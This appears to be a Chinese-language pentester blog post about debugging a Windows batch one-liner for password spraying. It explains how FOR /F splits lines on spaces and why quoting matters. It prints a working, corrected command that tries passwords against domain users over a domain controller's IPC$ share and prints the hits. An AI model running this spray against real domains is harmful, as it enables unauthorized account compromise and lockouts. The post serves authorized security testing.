密码喷洒工具故障排查与FOR循环解析技巧

本文详细解析了Windows环境下密码喷洒脚本的常见问题,特别是FOR /F命令对空格的分词处理机制,通过实际案例演示了如何正确设置分隔符和引号使用来确保密码验证的准确性。

检查你的工具

有一个单行密码喷洒脚本被广泛用于检测域内用户是否使用弱密码(如LetMeIn!或Winter2015)。该脚本从文件中读取用户列表和密码列表(如果担心账户锁定,也可以只使用一个密码),并尝试连接到域控制器的IPC共享。

像大多数单行脚本一样,在替换客户特定部分时很容易破坏整个脚本。因此,在针对整个域运行之前,最好先在自己的用户账户上测试。如果脚本找到了你提供的密码,说明语法正确,也能找到其他密码。

在最近的一次任务中,情况并非如此。完整性检查未能找到测试账户的密码,尽管该密码确实在尝试文件中。接下来的过程是一个关于注意细节、理解工作原理和手动阅读的教训。

故障排除的第一步是清晰描述问题,然后将测试案例缩小到最少的变量。

问题:使用有效凭据时测试失败

完整命令如下:

1
@FOR /F %p in (password.txt) DO @FOR /F %n in (users.txt) DO @net use \\dc1\IPC$ %p /user:CORP\%n 1>NUL 2>&1 && echo [*] %n:%p && @net use /delete \\dc1\IPC$ > NUL

这个命令很复杂,像大多数单行脚本一样,失败点不明显。为了更易读:

1
2
3
4
5
@FOR /F %p in (password.txt) DO
@FOR /F %n in (users.txt) DO
   @net use \\dc1\IPC$ %p /user:CORP\%n 1>NUL 2>&1
   && echo [*] %n:%p
   && @net use /delete \\dc1\IPC$ > NUL

即:

  • 对password.txt中的每一行,设置变量%p
  • 对每个%p变量,从users.txt的下一行设置变量%n
  • 尝试连接到域控制器的IPC$共享,并忽略输出
  • 如果连接成功,将用户名和密码写入stdout
  • 然后断开连接

现在问题清楚了,需要缩小范围。从基础开始:尝试从测试文件读取一行并写入stdout,以确保正确读取文件。可能是行尾序列、字符编码问题,或者命令行文件名传递方式有误。

发现问题

很快发现问题是只读取了行的第一个单词,而不是整行。本以为按行读取,但实际是"将其分解为单独的文本行,然后将每行解析为零个或多个令牌"。

制表符和空格是默认分隔符,但可以指定其他分隔符。需要选择密码中不包含的字符:

1
FOR /F "delims=+" %p in (password.txt) DO echo %p

这样可行。但能确保密码中永远不会包含加号吗?空字符呢?

不行。

空字符串呢?

成功!

现在知道是空格导致的问题,下一个问题是:必须在命令行中引用包含空格的内容。这就是为什么像我这样的懒黑客仍尽量避免在文件名中使用空格,省去繁琐的引用。那么,在脚本中作为输出使用时是否需要引用%p?测试发现:需要引用。

解决方案

引用后工作正常,不引用则失败。因此从现在开始将使用引用。

新的、更健壮的密码喷洒单行脚本如下:

1
@FOR /F "delims=" %p in (password.txt) DO @FOR /F "delims=" %n in (users.txt) DO @net use \\dc1\IPC$ "%p" /user:CORP\%n 1>NUL 2>&1 && echo [*] %n:%p && @net use /delete \\dc1\IPC$ > NUL

应该把这个保存在能找到的地方。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计